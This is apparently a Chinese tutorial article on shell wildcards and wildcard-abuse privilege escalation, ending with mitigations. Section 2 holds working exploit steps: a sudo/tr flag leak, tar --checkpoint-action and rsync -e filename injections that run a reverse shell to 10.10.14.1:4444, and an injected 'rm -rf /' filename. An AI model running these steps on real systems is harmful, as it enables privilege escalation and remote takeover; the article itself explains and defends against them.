在 Linux/Unix 命令行环境里,通配符(Wildcards) ,也叫 globbing patterns,是提升工作效率的一大利器。它能让你用简洁的模式匹配来批量处理文件和路径,极大简化了日常的文件管理。然而,就像任何强大的工具一样,通配符也存在被滥用的风险。当应用程序或脚本未能正确处理通配符展开后的参数时,就可能埋下严重的安全隐患。本文将深入探讨通配符的各种用法,并着重分析 通配符滥用 的原理、典型案例及防范措施,希望能帮助大家在享受通配符便利性的同时,提升对潜在安全风险的认知。
一、通配符基础:简化操作的魔法
通配符的核心思想是利用特殊字符来代表一个或多个未知字符,从而匹配一组符合特定模式的文件名。掌握这些特殊字符的含义,是高效使用命令行的关键。
1.1 ?
:匹配单个字符
问号 ?
用来匹配任意一个字符,但不会匹配空字符。它非常适合用来匹配文件名长度固定、只有少数几个字符不同的文件。
范例:
bash
# 匹配 a.txt 和 b.txt
$ ls ?.txt
a.txt b.txt
# 匹配两个字符的文件名(比如 ab.txt)
$ ls ??.txt
ab.txt
1.2 *
:匹配任意长度的字符
星号 *
是最常用的通配符,它能匹配零个或多个字符。这意味着它可以代表文件名的任何部分,无论是空字符串还是包含多个字符的字符串。
范例:
bash
# 匹配所有 .txt 文件
$ ls *.txt
a.txt b.txt ab.txt
# 匹配以 'a' 开头的 .txt 文件
$ ls a*.txt
a.txt ab.txt
1.3 [...]
:匹配字符集
方括号 []
允许你指定一个字符集合,[]
会匹配集合中的任意一个字符。这对于精确匹配特定范围内的文件非常有用。
范例:
bash
# 匹配 a.txt 和 b.txt (匹配字符 'a' 或 'b')
$ ls [ab].txt
a.txt b.txt
# 匹配 report1.txt 到 report9.txt (匹配数字 1 到 9)
$ ls report[1-9].txt
report1.txt report2.txt ... report9.txt
此外,[]
也能用来排除特定字符:
[^...]
或[!... ]
:匹配除指定字符之外的任意一个字符。
范例:
bash
# 匹配不以 'a' 开头的 .txt 文件(比如 b.txt)
$ ls [^a].txt
b.txt
1.4 {...}
:匹配多个模式(大括号扩展)
大括号 {}
用于匹配多个可选模式 ,模式之间用逗号 ,
分隔。跟前面那些通配符不一样,大括号扩展(Brace Expansion)通常是在 Shell 内部完成的,而不是由命令处理。它会直接展开成多个独立的字符串,所以在文件不存在时,它跟 []
的行为会有些不同。
范例:
bash
$ echo {cat,dog}
cat dog
# 大括号可以嵌套,用来生成更复杂的组合
$ echo {j{p,pe}g,png}
jpg jpeg png
跟 [...]
的区别:
一个重要的区别是 []
是通配符,它在文件系统层面进行匹配。如果匹配的文件不存在,Shell 会把包含 []
的字符串原样传递给命令,而命令就会报告文件不存在。而 {}
是 Shell 的内置功能,它在命令执行前就会展开成多个独立的参数。如果展开后的文件不存在,那么每个展开后的参数都会被单独处理,并分别报告文件不存在。
bash
# 如果 a.txt 和 b.txt 都不存在
$ ls [ab].txt
ls: [ab].txt: No such file or directory
# Shell 认为这是一个文件名,然后命令尝试查找名为 "[ab].txt" 的文件
$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory
# Shell 会把 {a,b}.txt 展开成 "a.txt" 和 "b.txt",然后命令分别尝试查找这两个文件
1.5 {start..end}
:匹配连续范围
{start..end}
表示一个连续范围的字符或数字。这在生成序列化的文件名或数据时非常方便。
范例:
bash
$ echo {1..5}
1 2 3 4 5
$ echo d{a..d}g
dag dbg dcg ddg
它还能跟逗号 ,
组合使用,生成更复杂的序列:
bash
$ echo .{mp{3..4},m4{a,b,p,v}}
.mp3 .mp4 .m4a .m4b .m4p .m4v
二、通配符滥用:安全隐患的根源
了解了通配符的强大功能后,我们必须警惕它潜在的滥用风险。通配符滥用的核心原理在于 Bash(或其他 Shell)的一个设计规范:当命令后面跟着通配符(比如 *
或 ?
)时,Shell 会在执行命令之前,把它们展开成匹配的文件名列表,然后把这个列表作为参数传递给命令。这样做是为了方便用户批量操作文件。
通配符滥用正是利用了 Bash 会把文件名当作命令参数来用这个特点。虽然 Bash 在展开时会处理空格和特殊字符(例如,通过引用或转义来确保文件名中的空格不会被解析成参数分隔符),但一些不安全的应用程序在接收到这些文件名参数后,如果内部没有正确引用或转义,就可能导致漏洞。攻击者可以通过在特定目录下创建恶意命名的文件,来操控目标应用程序的执行行为。
2.1 漏洞原理深入剖析
- Shell 展开(Globbing): 当 Shell 遇到通配符时,它会遍历当前目录或指定目录,找到所有匹配该模式的文件名,然后把这些文件名替换掉通配符,形成一个参数列表。
- 参数传递: Shell 把展开后的参数列表作为独立的参数传递给目标命令。
- 应用程序解析: 目标命令接收这些参数。如果应用程序在处理这些参数时,没有对其中的特殊字符进行适当的引用或转义,或者直接将其作为命令的一部分执行,那么攻击者就能构造恶意文件名,让应用程序执行非预期的操作。
举个例子: 如果一个应用程序接收一个参数,并将其作为子命令的一部分执行,比如 system("echo " + user_input)
。如果 user_input
包含 *.txt
这样的通配符,并且目录下存在 a.txt; rm -rf /
这样的文件,那么在 Shell 展开后,echo
命令就可能变成 echo a.txt; rm -rf /
,从而导致任意命令执行。
2.2 典型漏洞范例
下面我们通过一个 sudo
配置的例子,来具体说明通配符滥用是如何导致权限提升的。
场景描述:
假设有这样一个 sudo
配置,允许用户无需密码执行 /opt/get_flag
脚本:
sudo -l
Matching Defaults entries for user:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User may run the following commands:
(ALL : ALL) NOPASSWD: /opt/get_flag
/opt/get_flag
脚本内容如下:
sh
#!/bin/sh
PATH=/usr/bin:/bin
cd /tmp
cat /root/root.txt | tr -d [A-Za-z0-9]
这个脚本的目的是读取 /root/root.txt
的内容,并通过 tr -d [A-Za-z0-9]
命令删除其中的所有字母、数字和中括号。root.txt
通常只包含特殊字符的 flag
。
漏洞解析:
问题的核心在于 tr -d [A-Za-z0-9]
。tr
命令的 -d
选项是用来删除字符集的。理论上,[A-Za-z0-9]
应该被 tr
视为一个字符集,告诉它删除所有字母和数字。
然而,由于 -d
选项的参数 [A-Za-z0-9]
没有用引号包裹 ,在 tr
命令执行之前,Shell 会先读取命令行参数并尝试展开所有匹配项。
如果 /tmp
目录下(因为脚本会 cd /tmp
)存在一个名为 A
的文件,Shell 就会把 [A-Za-z0-9]
解析为 A
(因为它匹配了 [A-Za-z0-9]
中的 A
)。最终,实际执行的命令会变成:
bash
cat /root/root.txt | tr -d A
这时,tr
命令就不再删除所有字母、数字和中括号了,而只是删除字符 A
。这意味着 root.txt
中的 flag
内容就可能完整地打印出来,从而导致敏感信息泄露。
利用方式:
攻击者只需在 /tmp
目录下创建一个名为 A
的文件,然后执行 sudo /opt/get_flag
就能成功利用。
bash
# 在 /tmp 目录下创建文件 A
touch /tmp/A
# 执行被授权的脚本
sudo /opt/get_flag
2.3 其他易受通配符滥用影响的命令
除了 tr
,很多命令在处理参数时也可能受到通配符滥用的影响。以下是一些常见的例子,它们通常会尝试解析或执行传入的参数,如果没有正确地沙箱化或引用,就可能被恶意文件名利用。
2.3.1 tar
tar
命令在处理归档文件时,如果传入的参数被视为文件名,而这些文件名又碰巧是 tar
的合法选项,就可能导致任意命令执行。
利用方式:
攻击者可以创建带有 tar
选项的文件名,例如 --checkpoint=1
和 --checkpoint-action=exec=sh shell.sh
。当 tar
被调用并处理这些文件时,它会把这些文件名解释为自身的选项,从而执行恶意脚本 shell.sh
。
bash
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ shell.sh
# 假设某个可执行程序(比如一个受限的 sudo 命令)会执行 `tar *`
# 比如:sudo /usr/local/bin/backup_script
# backup_script 内容类似:tar -cvf /tmp/backup.tar *
在这种情况下,tar
命令最终会收到 --checkpoint=1
和 --checkpoint-action=exec=sh shell.sh
作为参数,进而执行反向 Shell。
2.3.2 rsync
rsync
命令同样存在类似的问题。它允许通过 -e
选项指定远程 Shell,如果 -e
后面的参数被恶意文件污染,就可能导致任意命令执行。
利用方式:
创建一个名为 -e sh shell.sh
的文件。当 rsync
命令处理通配符时,这个恶意文件名就会被解析为 -e
选项的参数,从而执行 shell.sh
。
bash
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch "-e sh shell.sh"
# 假设某个可执行程序会执行 `rsync *`
# 比如:sudo /usr/local/bin/sync_data
# sync_data 内容类似:rsync -avz * /mnt/backup
2.4 总结通配符滥用的共性
上述例子都揭示了通配符滥用的共性:
- 特权命令执行: 漏洞通常发生在用户被授权执行某个命令(例如
sudo
命令),而该命令内部又会处理通配符。 - 不安全的参数处理: 被执行的命令在处理由 Shell 展开的通配符参数时,没有对这些参数进行严格的引用或转义,导致恶意文件名被解释为命令选项或可执行代码。
- 可控的环境: 攻击者需要对命令执行的目录有写入权限,以便创建恶意文件。
三、防范通配符滥用的策略
通配符滥用漏洞的根源在于不安全的参数处理。因此,防范措施也应该围绕这个核心问题来制定。
3.1 开发者和系统管理员视角
-
始终引用和转义外部输入:
-
在编写 Shell 脚本时,任何来自外部(例如命令行参数、文件内容、环境变量)的字符串,在作为命令参数使用时都应该使用双引号
""
或单引号''
严格引用。对于可能包含空格或特殊字符的路径,这尤其重要。 -
范例:
bash# 错误示范:可能被通配符滥用 command $USER_INPUT # 正确示范:始终引用 command "$USER_INPUT"
-
对于更复杂的情况,例如拼接命令字符串,应该使用
printf %q
或eval
结合适当的引用机制。
-
-
避免在特权命令中使用通配符(Globbing):
-
如果一个脚本或程序以特权身份(比如
root
)运行,并且它需要处理文件,应该尽量避免直接将通配符作为参数传递给内部命令。 -
如果非用不可,请确保目标命令本身是安全的,不会将文件路径解释为选项或命令。
-
考虑使用
find
命令结合-exec
选项来处理文件,因为find -exec
会将文件名作为独立的参数传递,而不是让 Shell 展开。 -
范例:
bash# 错误示范:在特权脚本中直接使用通配符 # sudo_script.sh # cd /tmp # rm * # 如果 /tmp 下有 --no-preserve-root 之类的文件,可能导致意想不到的后果 # 更好的做法:使用 find 结合 -exec # sudo_script.sh # cd /tmp # find . -maxdepth 1 -type f -exec rm {} +
-
-
最小权限原则:
- 只授予用户或脚本最小必要的权限。例如,如果一个脚本只需要删除特定类型的文件,而不是任意文件,就不要赋予它对所有文件的写权限。
- 在
sudo
配置中,避免使用通配符来匹配命令路径,而是指定精确的命令路径。 - 错误示范:
NOPASSWD: /opt/*_script
- 正确示范:
NOPASSWD: /opt/backup_script
-
安全编码实践:
- 对所有接收外部输入的应用程序进行输入验证和沙箱处理。
- 使用语言内置的函数或库来处理文件路径,而不是手动拼接字符串。
- 对任何可能执行外部命令的函数(如
system()
、exec()
系列函数)保持高度警惕,确保传递给它们的参数是安全的。
3.2 用户视角
- 谨慎使用
sudo
命令:- 只在必要时才使用
sudo
,并且只执行信任的、来源明确的命令。 - 执行
sudo
命令时,要特别注意命令的完整性,避免在命令中直接输入通配符,除非你明确知道该命令如何处理通配符。
- 只在必要时才使用
- 理解命令的参数处理方式:
- 在使用任何命令之前,了解其参数解析机制,特别是当命令涉及文件操作或执行外部程序时。查阅
man
手册是了解命令行为的最佳方式。
- 在使用任何命令之前,了解其参数解析机制,特别是当命令涉及文件操作或执行外部程序时。查阅
- 检查目录内容:
- 在执行可能受到通配符滥用影响的命令之前,先检查当前目录或目标目录是否存在可疑文件,特别是那些以
-
开头或包含特殊字符的文件名。 - 例如,在执行
rm *
之前,可以先ls -A
检查目录内容。
- 在执行可能受到通配符滥用影响的命令之前,先检查当前目录或目标目录是否存在可疑文件,特别是那些以
3.3 额外的防护措施
- 文件系统权限: 限制用户在关键目录(如
/tmp
、/var/tmp
)的写入权限,尤其是在特权命令会切换到这些目录执行操作时。 - SELinux/AppArmor: 使用强制访问控制(MAC)机制,比如 SELinux 或 AppArmor,对敏感程序和文件进行更细粒度的权限控制,限制它们可以访问的文件和可以执行的操作。
- 代码审计: 定期对特权程序和脚本进行安全审计,查找潜在的通配符滥用漏洞。
结语
通配符作为命令行操作的强大工具,在提升效率的同时,也带来了潜在的安全风险。它的滥用并非源于通配符本身的设计缺陷,而是因为应用程序或脚本未能正确处理 Shell 展开后的参数。通过深入理解通配符的原理及其在 Shell 中的展开机制,并采取严格的引用、最小权限原则和安全编码实践,我们就能有效防范通配符滥用带来的安全威胁。无论是系统管理员、开发者还是普通用户,都应该提升安全意识,共同构建一个更安全的命令行使用环境。在享受通配符带来便利的同时,时刻保持警惕,确保每一次命令行操作都安全可靠。